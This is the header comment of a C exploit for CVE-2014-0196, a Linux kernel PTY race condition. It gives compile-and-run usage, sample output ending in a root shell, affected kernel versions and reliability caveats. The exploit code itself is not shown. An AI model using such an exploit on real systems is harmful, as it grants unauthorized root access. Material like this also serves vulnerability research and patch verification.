/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage: 
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
